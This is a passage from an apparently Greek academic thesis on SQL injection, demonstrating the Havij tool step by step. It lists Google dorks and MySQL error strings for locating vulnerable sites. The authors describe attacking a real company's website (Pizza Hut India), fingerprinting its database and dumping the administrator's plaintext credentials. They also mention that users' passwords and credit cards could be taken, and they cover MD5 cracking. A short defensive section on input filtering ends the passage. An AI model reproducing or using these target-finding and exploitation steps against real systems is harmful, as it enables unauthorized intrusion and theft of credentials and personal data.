91 Εικόνα 4.8 Όπως βλέπουμε στην Εικόνα 4.8 το Havij 1.15 έχει εγκατασταθεί σωστά στον υπ0λογιστή μας και τώρα μπορούμε να δουλέψουμε με αυτό. Η έκδοση αυτή είναι freeware καθώς υπάρχει και η αντίστοιχη εμπορίκή (pro version) στην οποία συμπεριλαμβάνονται μεγαλύτερες δυνατότητες και λειτουργίες με τη καταβολή κάποιου ποσού για ειδική άδεια χρήσης του λογισμικού. Βασικές οδηγίες διαμόρφωσης και χρήσης του Havij Το λογισμικό αυτό είναι εξαιρετικά απλό στη διαμόρφωση και τη χρήση του. Στη συνέχεια θα περιγράψουμε τα πεδία εισόδου και εξόδου βάση της εικόνας 4.8. Ο χρήστης οφείλει να δώσει μερικές επιλογές στο εργαλείο με βάσικη τον τρωτό ιστότοπο σε μορφή link, το keyword εισόδου (σε περίπτωση που το γνωρίζει ο χρήστης, αν μείνει null στο πεδίο το πρόγραμμα το εντοπίζει μόνο του), αντίστοιχα και τη σύνταξη του keyword. Ιδιαίτερο ενδιαφέρον παρουσιάζει το πεδίο database το οποίο δίνει ως δυνατές επιλογές όλες τις Βάσεις Δεδομένων και τα αντίστοιχα DBMS που καταλαβαίνει το εργαλείο μας. Αν γνωρίζουμε εκ των προτέρων τη βάση που χρησιμοποιεί το τρωτό συστημά μας μπορούμε να το δηλώσουμε για εξοικονόμηση χρόνου επίθεσης. 89

92 Τέλος μπορούμε να δηλώσουμε με ποια μέθοδο θέλουμε να δοκιμάσουμε την ανάλυση στόχου μας. Οι επιλογές είναι δυο (Get ή Post) και από default το σύστημα δίνει την Get. Όταν βρούμε το link που θέλουμε πατάμε το analyze και το πρόγραμμα αρχίζει την αξιοποίηση ευπαθειών στο στόχο. Τώρα όσον αφορά τα πεδία εξόδου σε περίπτωση που η επίθεση μας είναι επιτυχής ενεργοποιείται το πεδίο Tables και από κει με τις επιλογές GetTables GetColumns και GetData που θα δείξουμε και αναλυτικά στη συνέχεια παίρνουμε πίνακες χαρακτηριστικά και δεδομένα από το απομακρυσμένο σύστημα. Επίσης με την επιλογή find admin ψάχνει και επιστρέφει κατευθείαν όλα τα στοιχεία του administrator από το default όνομα που έχει ο πίνακας των διαχειριστών σε κάθε dbms ανάλογα με αυτό που υποστήρίζει το site στόχος. Τέλος υπάρχουν κάποιες ρυθμίσεις (settings) με τις οποίες μπορούμε να διαφοροποιήσουμε κάποιες θύρες ανίχνευσης για πολύ συγκεκριμένες περιπτώσεις καθώς και άλλα στοιχεία που μας ενδιαφέρουν. Περισσότερες πληροφορίες αναφέρονται από το IT Security Research & Penetration Testing Team Havij v1.15 Advanced SQL Injection στη διεύθυνση: Η δική μας παραμετροποίηση στο Havij Στη περίπτωση της επίθεσης που έγινε για τις ανάγκες της εργασίας εντοπίσαμε ένα απομακρυσμένο ιστότοπο (η διαδικάσια αυτή θα αναλυθεί περισσότερο στη συνέχεια) που παρουσίαζε αδυναμία σε sql injection και προσπαθήσαμε να την εκμεταλευτούμε. Σαν keyword και syntax τα αφήσαμε κενά για να κάνει αναζήτητη μόνο του, ως μέθοδο ορίσαμε την Get για το query ενώ το πεδίο database το αφήσαμε κενό προκειμένου να κάνει το ίδιο το πρόγραμμα χαρτογράφηση συστήματος Βάσης Δεδομένων και να βρει το fingerprint. Αναζήτηση για τρωτό σε εκχώρηση κώδικα ιστότοπο Υπάρχουν διάφορες μέθοδοι για αναζήτηση και αποκάλυψη ιστοσελίδων με κενά ασφαλείας. Στο σημείο αυτό έγινε η προσπάθεια να βρούμε κάποια ιστοσελίδα για τις ανάγκες της εργασίας η οποία να παρουσιάζει αδυναμία σε επιθέσεις SQL Injection. Μια κλασσική μέθοδος για να βρεθεί τέτοιος ιστότοπος είναι να δουλέψει κανείς με το Google (googlehacks). Βασική προυπόθεση γι αυτό είναι να χρησιμοποιήσει μια μεγάλη λίστα από dorks για να βρεί αυτό που θέλει. Οι λίστες dorks είναι λίστες με αποσπάσματα URL τα οποία μπορεί να χρησιμοποιήσει κανείς προκειμένου να δώσει τιμές στις μεταβλητές που περιλαμβάνονται στο τέλος του URL και μέσω μηνυμάτων σφάλματος από την απόκριση του εξυπηρετητή να καταλάβει αν το site είναι ευάλωτο σε επιθέσεις injection ή όχι. Στη συνέχεια παρατείθενται κάποια τέτοια dorks ενδεικτικά. 90

93 allinurl:index.php?id= allinurl:trainers.php?id= allinurl:buy.php?category= allinurl:article.php?id= allinurl:play_old.php?id= allinurl:newsitem.php?num= allinurl:readnews.php?id= allinurl:top10.php?cat= allinurl:historialeer.php?num= allinurl:reagir.php?num= allinurl:stray-questions-view.php?num= allinurl:forum_bds.php?num= allinurl:game.php?id= allinurl:view_product.php?id= allinurl:newsone.php?id= allinurl:sw_comment.php?id= allinurl:news.php?id= allinurl:avd_start.php?avd= allinurl:event.php?id= allinurl:product-item.php?id= allinurl:sql.php?id= allinurl:news_view.php?id= allinurl:select_biblio.php?id= allinurl:humor.php?id= allinurl:aboutbook.php?id= allinurl:ogl_inet.php?ogl_id= allinurl:fiche_spectacle.php?id= allinurl:communique_detail.php?id= allinurl:sem.php3?id= allinurl:kategorie.php4?id= allinurl:news.php?id= allinurl:index.php?id= Η διαδικασία έχει ως εξής. Παίρνουμε ένα dork και δίνουμε μια τιμή στο πεδίο id (πχ?id=3). Βάζουμε το URL στο Google και πραγματοποιώντας αναζήτηση ελέγχουμε τα site που θα μας εμφανίσει. Αν η σελίδα που θα διαλέξουμε ανοίξει κανονικά και δεν εμφανίσει error σημαίνει ότι είναι ασφαλής. Όχι απόλυτα ασφάλης αλλά σίγουρα εκ πρώτης όψεως φαίνεται να παρέχει μεγαλύτερη ασφάλεια από άλλες. Σε περίπτωση όμως που η σελίδα εμφανίσει κάποιο server error μπορούμε να υποπτεφθούμε ότι η σελίδα αυτή είναι πιθανόν τρωτή σε SQL Injection και να την ελεγξουμε με το Havij. Παραδείγματα SQL σφαλμάτων που μπορεί να εμφανίστούν και προδίδουν αδυναμία σε τέτοιου είδους επίθεση είναι τα παρακάτω: Warning: You have an error in your SQL syntax. Warning: mysql_fetch_array() Warning: mysql_result(): Warning: mysql_num_fields() 91

94 Έτσι λοιπόν εμείς εντοπίσαμε με αυτό το τρόπο το ακόλουθο site (το οποίο όπως είναι προφανές είναι το site της Pizza hut στην Ινδία): Όπως μπορούμε να δούμε και στην Εικόνα 4.9 η ιστοσελίδα παρουσίαζε γνωστό ύποπτο SQL error το οποίο πρόδιδε SQL Vulnerability. Εικόνα 4.9 Η λανθασμένη εκτίμηση του εξυπηρετητή φαίνεται από το είδος του μηνύματος. Γνωρίζοντας λίγη SQL μπορούμε να καταλάβουμε ότι το είδος του σφάλματος δεν αφορά το query μας αυτό καθεαυτό. Με λίγα λόγια προσπαθούμε να μπερδέψουμε το server και αυτός μας απαντά ότι δεν υπάρχει κάτι λάθος σε αυτό που του δώσαμε παραμόνο κάποια λάθη κατά την εμφάνιση των αποτελεσμάτων. Αυτό σημαίνει πως μπορούμε σαν είσοδο στο Url να δίναμε κάποιο πιο προχωρημένο κώδικα SQL και ο server να τον έτρεχε κανονικά και από την εκτέλεση του να παίρναμε σημαντικά στοιχεία που αφορούν τη βάση. Αυτή τη δουλεια θα προσπαθήσουμε να κάνουμε με το Havij στη συνέχεια. 92

95 Εκμετάλλευση ευπαθειών με το Havij 1.15 Πλέον έχουμε συμπληρώσει όλα τα σημαντικά βήματα για να έχουμε τον έτοιμο ευπαθή στόχο στα χέρια μας. Τώρα απομένει να τον ορίσουμε ως target στο Havij και να πατήσουμε Analyze για να δούμε αν είναι όντως ευπαθείς και μπορεί να γίνει και εκμεταλλεύσιμο το κενό ασφάλειας του. Διατηρώντας τη παραμετροποίηση που αναφέραμε παραπάνω για το Havij βλέπουμε στις παρακάτω εικόνες τη πρόοδο της επίθεσης. Στην Εικόνα 4.10 έχουμε πατήσει ήδη Analyze και περιμένουμε να κάνει την επεξεργασία το Havij. Αρχικά βρίσκει το keyword και στη συνέχεια υπολογίζει το πλήθος των στηλών από τη βάση της ιστοσελίδας καθώς και το είδος της βάσης που υπάρχει από πίσω. Στη περίπτωση μας όπως βλέπουμε χαμηλά στην Εικόνα 4.10 υπάρχει συνδυασμός της MySQL και του Microsoft SQL Server Εικόνα

96 Πιο συγκεκριμένα η ανάλυση που μας έβγαλε το Havij για την ιστοσελίδα εμφανίζεται παρακάτω. Web Server: Apache Powered-by: PHP/ Keyword Found: mysql_fetch_array(): I guess injection type is Integer?! If injection failed, retry with a manual keyword. DB Server: MySQL Selected Column Count is 11 Valid String Column is 7 Current DB: pizzahut_pizzahut2008 Όπως βλέπουμε κάνει κάποια χαρτογράφηση αρχικά (βλέπουμε ενδεικτικά ότι εντόπισε το web server που είναι apache,την έκδοση της PHP που χρησιμοποιείται κλπ.) Πλέον στο Havij αφού τελείωσε η ανάλυση έχει ενεργοποιηθεί η επιλογή Tables η οποία αρχικά ήταν ανενεργή. Πατώντας τη λέξη Tables εμφανίζεται η βάση που βρίσκεται πίσω από το site (pizzahut_pizzahut2008) όπως φαίνεται στην Εικόνα Εικόνα

97 Στην συνέχεια επιλέγουμε το Get Tables προκειμένου να εντοπίσει τους πίνακες της Βάσης Δεδομένων μέσα από την αρχική βάση που βλέπουμε στην Εικόνα Οι συνολικοί πίνακες μετά από μια περίπου τρίλεπτη επεξεργασία του Havij φαίνονται στην Εικόνα Εικόνα 4.12 Στη συνέχεια θα προσπαθήσουμε να πάρουμε τις στήλες από τον πίνακα των διαχειριστών (admin) με την επιλογή Get Columns. Ο πίνακας περιέχει 5 χαρακτηριστικά (admin_id, admin_username, admin_password, admin_name, admin_ ). Τα αποτελέσματα φαίνονται στην Εικόνα

98 Εικόνα 4.13 Στη συνέχεια τσεκάραμε τις στήλες του πίνακα admin και πατήσαμε Get Data προκειμένου να μας εμφανίσει τα στοιχεία του διαχειριστή. Τα αποτελέσματα φαίνονται στην Εικόνα 4.14 αναλυτικά. Εικόνα

99 Όπως βλέπουμε έχουμε όλα τα στοιχεία του διαχειριστή συστήματος (όνομα χρήστη, κωδικό κλπ.) πράγμα που σημαίνει ότι η επίθεση μας είναι πλήρως επιτυχημένη και ότι καταφέραμε να εκμεταλευτούμε στο έπακρο την ευπάθεια αυτή του συστήματος. Πάντως το site δείχνει να έχει μεγάλη αναξιοπιστία καθότι όπως μπορεί να δει κάποιος στην εικόνα 4.14 ο κωδικός φαίνεται σε κανονική μορφή και όχι σε κάποια κρυπτογραφημένη μορφή. Κανονικά θα έπρεπε να βλέπαμε το κωδικό του διαχειριστή κρυπτογραφημένο με κάποια συνάρτηση κατακερματισμού στο σύστημα και οχι με κανονικούς χαρακτήρες. Αυτό φυσικά μπορεί να δημιουργήσει ενδοεταιρικά ζητήματα καθώς είναι προφανές ότι το ίδιο θα ισχύει και με τα απλά μέλη και όχι μόνο με το διαχειριστή. Δηλαδή τα στοιχεία τους και οι λογαριασμοί τους είναι εκτεθειμένοι σε κάποιον ανώτερο πράγμα που δημιουργεί ζήτημα ασφάλειας προσωπικών δεδομένων αλλά αυτό ξεφεύγει από τα όρια αυτής εργασίας φυσικά. Συνεχίζοντας με τις επιλογές GetColumn και GetData μπορούμε να υποκλέψουμε και άλλα στοιχεία όπως κωδικοί και mail για το facebook, πιστωτικές κάρτας και πολλά άλλα τα οποία δε θα αναλωθούμε να δείξουμε καθότι δεν είναι αυτός ο στόχος. Διάφορες άλλες λειτουργίες του Havij Κλείνοντας σιγά σιγά την επίδειξη του συγκεκριμένου εργαλείου θα δείξουμε άλλες προηγμένες επιλογές και δυνατότητες του Havij. Όπως είπαμε συνήθως οι κωδικοί βρίσκονται σε μορφή hash. Προκειμένου να βρούμε το πραγματικό κωδικό αν χρειαστεί, το Havij μας δείνει τη δυνατότητα να πάρουμε το συγκεκριμένο hash και να βρούμε με αποκρυπτογράφηση της md5 (η οποία είναι και η πρότυπη συνάρτηση κατακερματισμού στο web, γι αυτό και προσφέρεται αυτή από το εργαλείο) το πραγματικό κωδικό χρήστη. Βλέπουμε στην Εικόνα 4.15 ότι δίνοντας ένα hash στο πεδίο MD5 hash μέσω κάποιων site που ασχολούνται με κρυπτογράφηση md5 μας δείχνει ποιος μπορεί να είναι ο κωδικός. Ειναι χαρακτηριστικό ότι προσφέρει αποτελέσματα από αρκετά site γιατί κάποια απ αυτά μπορεί να βγάλουν fail και να μην αποκρυπτογραφήσουν σωστά το hash. Στη προκειμένη περίπτωση βλέπουμε ότι βάζοντας το hash της εισόδου ο πραγματικός κωδικός προφανώς μέσα από τα αποτελέσματα καταλαβαίνουμε ότι είνα ο

100 Εικόνα 4.15 Επιπλέον δινέται η δυνατότητα στο χρήστη να τροποποιήσει τις ρυθμίσεις όπως αυτός τις θέλει μέσα από την επιλογή Settings. Στο πεδίο αυτό μπορεί ο χρήστης να τροποποιήσει τη μέθοδο εκτέλεσης κάποιων queries, να ορίσει proxy και να παραμετροποιήσει άλλες επιλογές που αφορούν στήλες πινάκων. Αναλυτικά οι δυνατότητες φαίνονται στην εικόνα Εικόνα

101 Επίσης σημαντική δυνατότητα του εργαλείου είναι η επιλογή Find Admin από την οποία μπορεί το εργαλείο να βρει τα URL από τα οποία κάνει login ο διαχειριστής του συστήματος. Αναλυτικά για τη περίπτωση της pizzahut που μελετάμε φαίνονται τα ακόλουθα της είκονας Εικόνα 4.17 Επιπλέον το Havij δίνει τη δυνατότητα στο χρήστη να αποθηκεύσει πίνακες της βάσης (tables) αλλά και περιεχόμενα (data) τοπικά στον υπολογιστή σε αρχεία.html με τις επιλογές Save Tables και Save Data οι οποίες φαίνονται στην Εικόνα Εικόνα

102 Τέλος υπάρχει μια αρκετά εξειδικευμένη δυνατότητα και είναι η επιλογή query η οποία φαίνεται στην Εικόνα 4.19 με την οποία ο χρήστης μπορεί να γράψει το query που θέλει σε SQL και να το εκτελέσει απομακρυσμένα. Δυστυχώς αυτή η πολύ σημαντική δυνατότητα παρέχεται μόνο στην εμπόρικη έκδοση του εργαλείο την Havij 1.15 Pro παρόλ αυτά μπορούμε να δούμε στη παρακάτω εικόνα πως είναι το interface και η λογική λειτουργίας της δυνατότητας αυτής (r3dm0v3, 2011). Εικόνα Μέτρα ασφαλειας για Βάσεις Δεδομένων Όπως είδαμε και στο παράδειγμα με το Havij η είσοδος κώδικα εκτελέστηκε άμεσα στον εξυπηρετητή. Αυτό σημαίνει ότι το λογισμικό του server είναι φτιαγμένο έτσι ώστε να μην ξεχωρίζει το query ως εκτέλεση κώδικα από ένα πεδίο εισαγωγής στοιχείων χρήστη τύπου log in. Είναι προφανές ότι αυτό το πρόβλημα δημιουργεί ένα τεράστιο ζήτημα και ανοίγει ένα μεγάλο κεφάλαιο της ασφάλειας υπολογιστών το οποίο έχει να κάνει με τον ασφαλή προγραμματισμό (secure programming). Άρα σαν ένα μέτρο ασφάλειας για τη συγκεκριμένη περίπτωση θα είναι ο έλεγχος της εισόδου τιμών πεδίο από την άποψη της αντικειμενοστραφούς σχεδίασης. Δηλαδή η εκχώρηση μεταβλητών από το χρήστη (η οποία μπορεί να είναι κακόβουλος κώδικας) να μη γίνεται απευθείας στον εξυπηρετητή αλλά να εκχωρείται σε παράμετρο και να φιλτράρεται ώστε να μη γίνεται επέκταση της sql ερώτησης. 100